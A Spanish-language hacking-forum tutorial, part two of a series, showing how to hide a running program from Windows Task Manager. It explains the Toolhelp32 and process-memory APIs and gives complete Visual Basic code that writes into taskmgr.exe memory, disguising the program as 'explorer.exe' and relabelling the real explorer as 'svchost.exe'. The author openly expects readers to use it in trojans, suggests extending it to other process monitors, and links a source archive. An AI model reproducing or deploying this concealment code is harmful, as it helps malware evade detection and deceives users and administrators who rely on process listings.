Ocultar Proceso en TaskMgr sin hooks Parte2

Bueno, de nuevo aqui en el foro, con un poco de tiempo, espero no estar perdiendolo

, jejeje, saludos a todos los COLOMBIANOS del foro.

Empecemos otra vez con la continuacion del post anterior de "Ocultar un proceso en el Taskmgr sin hooks", no se si este metodo de ocultamiento, ya haya sido hecho por otra persona, o si ya lo hubiesen visto, pero aun asi me atrevo a explicarselos, nunca digo: "Yo me invente esto, yo hice aquello", por la sencilla razon de que uno no sabe en realidad si alguien fue mas rapido, solo digo:"Se me ocurrio tal cosa, hice tal otra", posteo todas estas cosas por venganza, cuando yo era un "Muuuy principiante" en programacion, no sabia como adquirir mas conocimientos, solo leyendo, por eso les digo no esperen a que sus profes de programacion les enseñen cosas, por lo menos aqui en colombia desafortunadamente la mayoria, NO TODOS, son unos mediocres profesores, y no me gusta ser egoista, yo se que la mayoria lo va a utilizar para babosadas como para los troyanos, pero bueno, que se les hace, yo tambien lo haria, solo espero que lo lean, lo estudien y aprendan almenos algo, y no solo hagan un copy-paste de codigo.

Bueno ya dejemos todo ese bla, bla, bla, basta de explicaciones y empecemos con el tema, deben ya estar aburridos.

El metodo es bastante sencillo por cierto, es simplemente, barrer la memoria de cierto proceso que no quiero decir cual es pero que se que ustedes ya se imaginan, en busca de unos daticos muy utiles e interesantes, para modificarlos, ya se imaginan cuales?, este metodo, me atrevo a decir es 90% efectivo. bueno para todo esto vamos a utilizar unas pocas APIs, como para que no se asusten de tanta api y tanto codigo, como en el metodo anterior, vamos a utilizar las siguientes:

CreateToolhelp32Snapshot

Código:

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);

como la mayoria creo que ya saben, porque parece que la han manejado antes en el foro, para los que no, esta API toma como una especie de imagen o "foto" de los heaps, modulos y threads usados por un proceso especifico, esta "foto" es tomada por otras funciones(APIs) que son llamadas funciones de "tool help services", para ser examinada y entregarnos algunos resultados dependiendo de la funcion, las funcioncillas de las que hablo son estas:

CreateToolhelp32Snapshot
Heap32First
Heap32ListFirst
Heap32ListNext
Heap32Next
Module32First
Module32Next
Process32First
Process32Next
Thread32First
Thread32Next
Toolhelp32ReadProcessMemory

y segun la Windows Programmers reference, el acceso al SnapShot es de solo lectura, asi que no podemos modificar directamente los manejadores de los procesos obviamente.

en el primer parametro, tenemos a dwFlags, este parametro especifica que partes del sistema van a ser incluidas en el SnapShot(foto), puede tener alguno de los siguientes valores:

TH32CS_INHERIT      indica que el handle del SnapShot va a ser heredado
TH32CS_SNAPHEAPLIST   indica incluir la lista de heaps de un proceso determinado en el SnapShot
TH32CS_SNAPMODULE   indica incluir la lista de modulos de un proceso determinado en el SnapShot
TH32CS_SNAPPROCESS   incluye la lista de procesos en el SnapShot
TH32CS_SNAPTHREAD   incluye la lista de threads en el SnapShot
TH32CS_SNAPALL      todas las anteriores excepto la primera.

y el segundo parametro es th32ProcessID que indica el identificador de proceso, este parametro, es utilizado cuando utilizamos las opciones banderas, como TH32CS_SNAPMODULE o TH32CS_SNAPHEAPLIST, de lo contrario se pondria un 0 (cero) significando el proceso desde el que se llama la funcion osea el nuestro.

CloseHandle

Código:

BOOL CloseHandle(
HANDLE hObject
);

la funcion CloseHandle obviamente como su nombre lo indica, cierra un objeto tipo handle que haya sido abierto, es decir siempre que creemos un objeto tipo handle con otra api debemos liberar memoria(cerrarlo) con la funcion CloseHandle, como son los siguientes tipos de handle:

Communications device
Console input
Console screen buffer
Event
File
File mapping
Job
Mailslot
Mutex
Named pipe
Process
Semaphore
Socket
Thread
Token

en nuestro caso la utilizaremos para cerrar el objeto creado por CreateToolhelp32Snapshot, es decir el SnapShot. Cuando utilicemos un SnapShot en algun programita debemos "cerrar" ese SnapShot ya que si no lo hicieramos, causaria una fuga de memoria hasta que nuestro proceso se vuelva "miercoles" a la vez que el sistema reclamaria esta memoria. Ahh y el SnapShot actua como un handle de archivo, tambien se utilizara para la fruncion OpenProcess.

Process32First

Código:

BOOL WINAPI Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);

esta funcioncilla nos entrega la info respecto al primer proceso encontrado en el SnapShot, sus parametros:

hSnapshot Es el handle retornado por haber llamado a la funcion CreateToolhelp32Snapshot, es decir el handle del SnapShot

lppe Es un puntero a la estructura PROCESSENTRY32 la cual es como sigue:

Código:

typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
DWORD th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
char szExeFile[MAX_PATH];
} PROCESSENTRY32;
typedef PROCESSENTRY32 * PPROCESSENTRY32;
typedef PROCESSENTRY32 * LPPROCESSENTRY32;

Miembros de la estructura:

dwSize         Tamaño de la estructura osea sizeof(PROCESSENTRY32)
cntUsage      Numero de referencias al proceso
th32ProcessID      Identificador del proceso
th32DefaultHeapID   Identificador del heap asignado al proceso
th32ModuleID      Modulo identificador del proceso
cntThreads      numero de threads de ejecucion creados por el proceso
th32ParentProcessID   identificador del proceso que creó el proceso siendo examinado
pcPriClassBase      Prioridad base de algunos threads creados por el procesos
dwFlags         Reservado, retorna el numero de bytes escritos por la
szExeFile      Ruta y nombre del ejecutable para el proceso

en esta estructura se guardara toda la info del primer proceso del SnapShot.

Process32Next

Código:

BOOL WINAPI Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);

nos retorna la info guardandola en donde ya sabemos (parametro lppe) pero esta vez del siguiente proceso en el SnapShot.

y por ultimo nuestras queridisimas:

ReadProcessMemory

Código:

BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesRead
);

Su nombre es muy claro, lee la memoria de un proceso especificado. recordemos que el area de lectura en el proceso debe ser accesible o sino la funcion no nos serviria.

Parametros:

hProcess      Handle al proceso al cual se va a hacer la lectura
lpBaseAddress      Direccion donde empezaremos a leer
lpBuffer      Direcion del buffer en el cual vamos a poner los datos leidos
nSize         Numero de bytes que vamos a leer
lpNumberOfBytesRead   Direccion del numero de bytes que se han leido despues de llamar a la funcion.

el proceso debe tener acceso PROCESS_VM_READ para poder ser leido.

y

WriteProcessMemory

Código:

BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);

ya me imagino que saben que es lo que hace, es identica a la ReadProcessMemory pero para escritura, los mismos parametros pero para escritura.

el proceso debe tener acceso PROCESS_VM_WRITE y PROCESS_VM_OPERATION para poder ser escrito.

uff casi se me olvida, jejeje:

OpenProcess
The OpenProcess function returns a handle to an existing process object.

Código:

HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);

principalmente se utiliza para obtener el handle a proceso esxistente, la utilizaremos para poder utilizar las 2 anteriores, valga la redundancia.

Parametros:

dwDesiredAccess         Especifica el tipo de acceso al proceso:

   PROCESS_ALL_ACCESS      Todos los posibles flags de acceso al proceso
   PROCESS_CREATE_PROCESS      Usado internamente
   PROCESS_CREATE_THREAD      se habilita usando la funcion CreateRemoteThread
   PROCESS_DUP_HANDLE      se habilita usando DuplicateHandle
   PROCESS_QUERY_INFORMATION   se habilita usando GetExitCodeProcess y GetPriorityClass
   PROCESS_SET_INFORMATION      se habilita usando SetPriorityClass
   PROCESS_TERMINATE      se habilita usando TerminateProcess
   PROCESS_VM_OPERATION      se habilita usando VirtualProtectEx y WriteProcessMemory
   PROCESS_VM_READ         se habilita usando ReadProcessMemory
   PROCESS_VM_WRITE      se habilita WriteProcessMemory
   SYNCHRONIZE         para funciones de espera como SignalObjectAndWait, WaitForSingleObject, y WaitForSingleObjectEx.

bInheritHandle         indica si el handle retornado por la funcion el heredable
dwProcessId         identificador de proceso a ser abierto.

A continuacion las anteriores funciones en la declaracion para Visual Basic, structuras y constantes:

Código:

Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long

Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Declare Function Process32First Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Declare Function Process32Next Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF

Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type

ahora si empecemos a tirar codigo.

en un modulo:

Código:

Public Const TH32CS_SNAPPROCESS As Long = 2&
Public Const PROCESS_ALL_ACCESS = &H1F0FFF

Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type

Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public unaListaProcesos As String
Public HandleTaskMgr As Long
Public HandleProceso As Long
Public elSnapShot As Long

Function AbrirProceso(pID As Long) As Boolean
HandleProceso = OpenProcess(PROCESS_ALL_ACCESS, False, pID)
If (HandleProceso = 0) Then
AbrirProceso = False
HandleTaskMgr = 0
Else
AbrirProceso = True
HandleTaskMgr = HandleProceso
End If
End Function

Public Function ConvAUnicode(cadena As String) As String
Dim UAnt As String, i As Integer
For i = 1 To Len(cadena)
UAnt = UAnt & Chr(0) & Mid(cadena, i, 1)
Next i
ConvAUnicode = UAnt
End Function

'-------------------------------------------------------------------------------------------

en un formulario:

Código:

Option Explicit
'----------------------------------------------------------------------------
' Code del Articulo "Ocultar del TaskMgr sin hooks" parte 2 |
' De ZEALOT para http://foro.elhacker.net |
'----------------------------------------------------------------------------
Private Sub Form_Load()
App.Title = ""
Timer1.Interval = 500
End Sub

Private Sub Form_Unload(Cancel As Integer)
CloseHandle elSnapShot
CloseHandle HandleProceso
End Sub

Private Sub Timer1_Timer()
Timer1.Enabled = False

Dim otraListaProcesos As String
Dim Procesos As PROCESSENTRY32

Procesos.dwSize = Len(Procesos)
elSnapShot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
Process32First elSnapShot, Procesos

otraListaProcesos = "|" & Procesos.th32ProcessID & "|"

While Process32Next(elSnapShot, Procesos)
If InStr(1, unaListaProcesos, "|" & Procesos.th32ProcessID & "|") = 0 Then
If Left(Procesos.szexeFile, InStr(Procesos.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
Esconder Procesos.th32ProcessID, "explorer.exe", "svchost.exe "
Esconder Procesos.th32ProcessID, "EXPLORER.EXE", "svchost.exe "
Esconder Procesos.th32ProcessID, App.EXEName & ".exe", "explorer.exe"
Else
DoEvents
End If
End If
otraListaProcesos = otraListaProcesos & "|" & Procesos.th32ProcessID & "|"
Wend

unaListaProcesos = otraListaProcesos

Timer1.Enabled = True
End Sub

Private Sub Esconder(pID_TaskMgr As Long, BuscarApp As String, CambiarApp As String)
If AbrirProceso(pID_TaskMgr) = False Then MsgBox "No hay permisos para abrir el proceso": Exit Sub

Dim BuscarProc As String
Dim CambiaProc As String
Dim Direccion As Long
Dim posIni As Long
Dim DirEscritura As Long
Dim bytesLeidos As Long
Dim bytesEscritos As Long
Dim buffer As String * 20480

BuscarProc = ConvAUnicode(BuscarApp)
DoEvents
CambiaProc = ConvAUnicode(CambiarApp)
DoEvents
For Direccion = 0 To 500
Call ReadProcessMemory(HandleTaskMgr, Direccion * 20480, buffer, 20480, bytesLeidos)
If bytesLeidos > 0 Then
posIni = 1
While InStr(posIni, buffer, BuscarProc) > 0
DirEscritura = (Direccion) * 20480 + InStr(posIni, buffer, BuscarProc) - 1
Call WriteProcessMemory(HandleTaskMgr, CLng(DirEscritura), CambiaProc, Len(CambiaProc), bytesEscritos)
posIni = InStr(posIni, buffer, Trim(BuscarProc)) + 1
Wend
End If
Next Direccion
DoEvents
End Sub

'--------------------------------------------------------------------------------------------

la explicacion:
como vi que parece que muchos se aburrieron con tanta explicacion en el articulo anterior, voy a explicar todo brevemente.
en el modulo hay 2 funciones, una sirve para convertir de una cadena normal y corriente a una Unicode, la segunda funcion sirve para obtener el handle de un proceso cualquiera en nuestro caso el TaskMgr, es decir el administrador de tareas de windows, luego en el formulario, tenemos el evento de Load, App.Title = "" el cual sirve para borrar nuestra aplicacion de la lista normal de tareas del TaskMgr, despues en el evento del timer1, creamos el SnapShot, obtenemos nuestro primer proceso, del SnapShot y luego los siguientes, que porque no lo checamos? pues porque usualmente es System, luego ahi si checamos a ver si es el TaskMgr, el primer "If" del bucle es para saber si se ha modificado la lista de procesos, es decir si se ha creado unn nuevo proceso, para "tapar" el nuestro, todos los procesos los almacenamos en una variable global "unaListaProcesos" para poder leerla al siguiente intervalo del timer, que porque desabilito el timer1 al comienzo, pos segun pruebas, y consultas, para no joder tanto la memoria mientras hacemos cosillas, no es obligatorio, si quieren quitenlo.
luego en la funcion "Esconder" cuyos parametros creo que son obvios, convertimos las cadenas a Unicode, y barremos la memoria del TaskMgr leyendola con ReadProcessMemory, estas lecturas se hacen con un buffer de 20K, para despues mediante un bucle, buscar la cadena que necesitamos modificar, luego escribimos la memoria con WriteProcessMemory reemplazando nuestra cadena con el otro parametro de la funcion osea CambiaProc. y listo, hemos ocultado nuestro proceso "tapandonos" detras del de "explorer.exe", y tapamos el verdadero "explorer.exe" con el de "svchost.exe ", solo aclaro unas cosillas los procesos a buscar y reemplazar deben tener el mismo numero de caracteres, porque de lo contrario estariamos corriendo o sobreescribiendo memoria que no deberiamos, yo se que ustedes pueden mejorarlo, modificandolo, para que busque otras cadenas importantes, como la ruta de nuestro ejecutable, o el pID cambiandoselas, y hasta en varios procesos, que se utilicen como monitores de procesos, aparte del TaskMgr, solo utilicen la imaginacion, con respecto al anterior articulo, ya mejore el codigo, para que no se comiera tanta memoria del proceso(TaskMg), vean que escribí: memoria, no CPU!!, bueno yo creo que es todo por hoy, y hasta la proxima, depronto me anime a explicarles algo a algunos, sobre las PIPES, ya que he visto mucha pregunta sobre esto en posts antiguos.

ahh se me olvidaba, para los que dicen:"No me funcionó el codigo!!!" pues aqui dejo un vinculo a un comprimido en donde se encuentra el articulo y el codigo fuente del ejemplo, recuerden que el nombre del ejecutable DEBE tener el mismo numero de caracteres que el proceso con el cual se va a esconder. http://es.geocities.com/camro20042004/jojojoFelizNavidad.zip

ahh y si por alguna extraña razon no sirve el ejemplo anterior, solo aumenten un poco el bulce "For Direccion = 0 To 500" a este otro "For Direccion = 0 To 1000".

Bye y hasta la proxima vez que tenga tiempo.